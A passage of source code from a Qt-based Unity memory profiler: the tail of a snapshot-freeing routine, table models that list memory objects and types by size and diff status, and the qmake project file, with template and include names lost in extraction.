diffed; 456 | } 457 | 458 | void CrawledMemorySnapshot::Free(CrawledMemorySnapshot* snapshot) { 459 | for (auto& section : snapshot->managedHeap_) { 460 | if (section.sectionSize_ > 0) 461 | delete[] section.sectionBytes_; 462 | } 463 | for (auto& type : snapshot->typeDescriptions_) { 464 | if (type.staticsSize_ > 0) 465 | delete[] type.statics_; 466 | } 467 | } 468 | -------------------------------------------------------------------------------- /src/umpmodel.cpp: -------------------------------------------------------------------------------- 1 | #include "umpmodel.h" 2 | #include "globalLog.h" 3 | #include 4 | #include 5 | #include 6 | 7 | QString sizeToString(qint64 size) { 8 | qint64 absSize = std::abs(size); 9 | if (absSize >= 1024 * 1024 * 1024) { 10 | return QString::number(static_cast(size) / 1024 / 1024 / 1024, 'f', 2) + " GB"; 11 | } else if (absSize >= 1024 * 1024) { 12 | return QString::number(static_cast(size) / 1024 / 1024, 'f', 2) + " MB"; 13 | } else if (absSize > 1024) { 14 | return QString::number(static_cast(size) / 1024, 'f', 2) + " KB"; 15 | } else { 16 | return QString::number(size) + " Bytes"; 17 | } 18 | } 19 | 20 | // UMPManagedObjectModel 21 | 22 | UMPThingInMemoryModel::UMPThingInMemoryModel(QObject* parent) 23 | : QAbstractTableModel(parent) {} 24 | 25 | int UMPThingInMemoryModel::rowCount(const QModelIndex &) const { 26 | return static_cast(objects_.size()); 27 | } 28 | 29 | int UMPThingInMemoryModel::columnCount(const QModelIndex &) const { 30 | return 4; 31 | } 32 | 33 | QVariant UMPThingInMemoryModel::data(const QModelIndex &index, int role) const { 34 | int row = index.row(); 35 | int column = index.column(); 36 | if (row >= 0 && row < objects_.size()) { 37 | if (role == Qt::DisplayRole || role == Qt::ToolTipRole) { 38 | auto mo = objects_[row]; 39 | switch(column) { 40 | case 0: return mo->caption_; 41 | case 1: return static_cast(mo->referencedBy_.size()); 42 | case 2: return sizeToString(mo->size_); 43 | case 3: 44 | switch(mo->diff_) { 45 | case CrawledDiffFlags::kAdded: 46 | return "Added"; 47 | case CrawledDiffFlags::kSame: 48 | return "Same"; 49 | case CrawledDiffFlags::kSmaller: 50 | return "Smaller"; 51 | case CrawledDiffFlags::kBigger: 52 | return "Bigger"; 53 | default: 54 | return " "; 55 | } 56 | } 57 | } else if (role == Qt::UserRole) { 58 | auto mo = objects_[row]; 59 | switch(column) { 60 | case 0: return mo->caption_; 61 | case 1: return static_cast(mo->referencedBy_.size()); 62 | case 2: return mo->size_; 63 | case 3: return static_cast(mo->diff_); 64 | } 65 | } else if (role == Qt::BackgroundColorRole) { 66 | auto mo = objects_[row]; 67 | switch(mo->diff_) { 68 | case CrawledDiffFlags::kAdded: 69 | return QVariant(QColor(Qt::magenta)); 70 | case CrawledDiffFlags::kSmaller: 71 | return QVariant(QColor(Qt::green)); 72 | case CrawledDiffFlags::kBigger: 73 | return QVariant(QColor(Qt::red)); 74 | default: 75 | break; 76 | } 77 | } 78 | } 79 | return QVariant(); 80 | } 81 | 82 | QVariant UMPThingInMemoryModel::headerData(int section, Qt::Orientation orientation, int role) const { 83 | if (role == Qt::DisplayRole) { 84 | if (orientation == Qt::Horizontal) { 85 | switch (section) { 86 | case 0: return QString("Name"); 87 | case 1: return QString("Refs"); 88 | case 2: return QString("Size"); 89 | case 3: return QString("Flag"); 90 | } 91 | } 92 | } 93 | return QVariant(); 94 | } 95 | 96 | void UMPThingInMemoryModel::reset(const UMPSnapshotType& snapshotType, bool isDiff) { 97 | isDiff_ = isDiff; 98 | beginResetModel(); 99 | objects_.clear(); 100 | auto size = static_cast(snapshotType.objects_.size()); 101 | objects_.reserve(size); 102 | std::copy(snapshotType.objects_.begin(), snapshotType.objects_.end(), std::back_inserter(objects_)); 103 | endResetModel(); 104 | } 105 | 106 | int UMPThingInMemoryModel::indexOf(const ThingInMemory* thing) const { 107 | for (int i = 0; i < objects_.size(); i++) { 108 | auto object = objects_[i]; 109 | if (object == thing) 110 | return i; 111 | } 112 | return -1; 113 | } 114 | 115 | // UMPTypeGroupModel 116 | 117 | UMPTypeGroupModel::UMPTypeGroupModel(CrawledMemorySnapshot* snapshot, QObject* parent) 118 | : QAbstractTableModel(parent), snapshot_(snapshot) { 119 | std::unordered_map> filters; 120 | for (auto& obj : snapshot->staticFields_) { 121 | auto& vector = filters[obj.typeDescription_->typeIndex_]; 122 | vector.push_back(&obj); 123 | } 124 | for (auto& obj : snapshot->managedObjects_) { 125 | auto& vector = filters[obj.typeDescription_->typeIndex_]; 126 | vector.push_back(&obj); 127 | } 128 | std::unordered_map typeSizes; 129 | for (const auto& pair : filters) 130 | typeSizes[pair.first] = 0; 131 | for (const auto& pair : filters) { 132 | auto& size = typeSizes[pair.first]; 133 | for (const auto& obj : pair.second) 134 | size += obj->size_; 135 | } 136 | totalSize_ = 0; 137 | for (std::size_t i = 0; i < snapshot->typeDescriptions_.size(); i++) { 138 | auto& type = snapshot->typeDescriptions_[i]; 139 | types_.push_back(UMPSnapshotType()); 140 | auto group = &types_.back(); 141 | group->type_ = &type; 142 | group->name_ = type.name_; 143 | group->size_ = typeSizes[group->type_->typeIndex_]; 144 | group->objects_ = std::move(filters[group->type_->typeIndex_]); 145 | totalSize_ += group->size_; 146 | 147 | 148 | 149 | } 150 | } 151 | 152 | UMPTypeGroupModel::~UMPTypeGroupModel() { 153 | if (snapshot_ != nullptr) { 154 | CrawledMemorySnapshot::Free(snapshot_); 155 | delete snapshot_; 156 | } 157 | } 158 | 159 | int UMPTypeGroupModel::rowCount(const QModelIndex &) const { 160 | return types_.size(); 161 | } 162 | 163 | int UMPTypeGroupModel::columnCount(const QModelIndex &) const { 164 | return 4; 165 | } 166 | //row:show memory data 167 | QVariant UMPTypeGroupModel::data(const QModelIndex &index, int role) const { 168 | int row = index.row(); 169 | int column = index.column(); 170 | if (row >= 0 && row < types_.size()) { 171 | if (role == Qt::DisplayRole || role == Qt::ToolTipRole) { 172 | auto type = types_[row]; 173 | switch(column) { 174 | case 1: { 175 | //qDebug("readString = %s",qPrintable(type.name_)); 176 | //GlobalLogDef::writeToFile(row,1) ; 177 | // GlobalLogDef::writeToFile(type.name_,0) ; 178 | 179 | return type.name_; 180 | } 181 | case 2: return static_cast(type.objects_.size()); 182 | case 3: return sizeToString(type.size_); 183 | case 0: { 184 | //QString str = QString::number(row); 185 | //GlobalLogDef::writeToFile(str,1) ; 186 | // qDebug("readString = %s",row); 187 | return row; 188 | 189 | } 190 | } 191 | 192 | } else if (role == Qt::UserRole) { 193 | auto type = types_[row]; 194 | switch(column) { 195 | case 1: { 196 | //qDebug("readString = %s",qPrintable(type.name_)); 197 | //GlobalLogDef::writeToFile(type.name_,0) ; 198 | return type.name_; 199 | } 200 | case 2: return static_cast(type.objects_.size()); 201 | case 3: return type.size_; 202 | case 0: return row; 203 | } 204 | 205 | 206 | 207 | 208 | } 209 | 210 | 211 | 212 | } 213 | 214 | return QVariant(); 215 | } 216 | 217 | QVariant UMPTypeGroupModel::headerData(int section, Qt::Orientation orientation, int role) const { 218 | if (role == Qt::DisplayRole) { 219 | if (orientation == Qt::Horizontal) { 220 | switch (section) { 221 | case 0: return QString("No."); 222 | case 1: return QString("Type"); 223 | case 2: return QString("Count"); 224 | case 3: return QString("Size"); 225 | 226 | } 227 | } 228 | } 229 | return QVariant(); 230 | } 231 | -------------------------------------------------------------------------------- /unitymemperf.pro: -------------------------------------------------------------------------------- 1 | #------------------------------------------------- 2 | # 3 | # Project created by QtCreator 2019-10-28T10:14:41 4 | # 5 | #------------------------------------------------- 6 | 7 | QT += core gui opengl network 8 | 9 | greaterThan(QT_MAJOR_VERSION, 4): QT += widgets 10 | 11 | TARGET = UnityMemPerf 12 | TEMPLATE = app 13 | 14 | # The following define makes your compiler emit warnings if you use 15 | # any feature of Qt which has been marked as deprecated (the exact warnings 16 | # depend on your compiler). Please consult the documentation of the 17 | # deprecated API in order to know how to port your code away from it. 18 | DEFINES += QT_DEPRECATED_WARNINGS 19 | 20 | # You can also make your code fail to compile if you use deprecated APIs. 21 | # In order to do so, uncomment the following line. 22 | # You can also select to disable deprecated APIs only up to a certain version of Qt. 23 | #DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000 # disables all the APIs deprecated before Qt 6.0.0 24 | 25 | CONFIG += c++11 26 | 27 | INCLUDEPATH += $$PWD/include $$PWD/src 28 | 29 | SOURCES += \ 30 | src/adbprocess.cpp \ 31 | src/detailswidget.cpp \ 32 | src/globalLog.cpp \ 33 | src/main.cpp \ 34 | src/mainwindow.cpp \ 35 | src/startappprocess.cpp \ 36 | src/remoteprocess.cpp \ 37 | src/umpcrawler.cpp \ 38 | src/umpmodel.cpp 39 | 40 | HEADERS += \ 41 | include/adbprocess.h \ 42 | include/detailswidget.h \ 43 | include/globalLog.h \ 44 | include/umpcrawler.h \ 45 | include/umpmemory.h \ 46 | include/umpmodel.h \ 47 | include/mainwindow.h \ 48 | include/startappprocess.h \ 49 | include/remoteprocess.h 50 | 51 | FORMS += \ 52 | detailswidget.ui \ 53 | mainwindow.ui 54 | 55 | # Default rules for deployment. 56 | qnx: target.path = /tmp/$${TARGET}/bin 57 | else: unix:!android: target.path = /opt/$${TARGET}/bin 58 | !isEmpty(target.path): INSTALLS += target 59 | 60 | RESOURCES += \ 61 | res/icon.qrc 62 | 63 | RC_ICONS = res/devices.ico 64 | ICON = res/devices.icns 65 | --------------------------------------------------------------------------------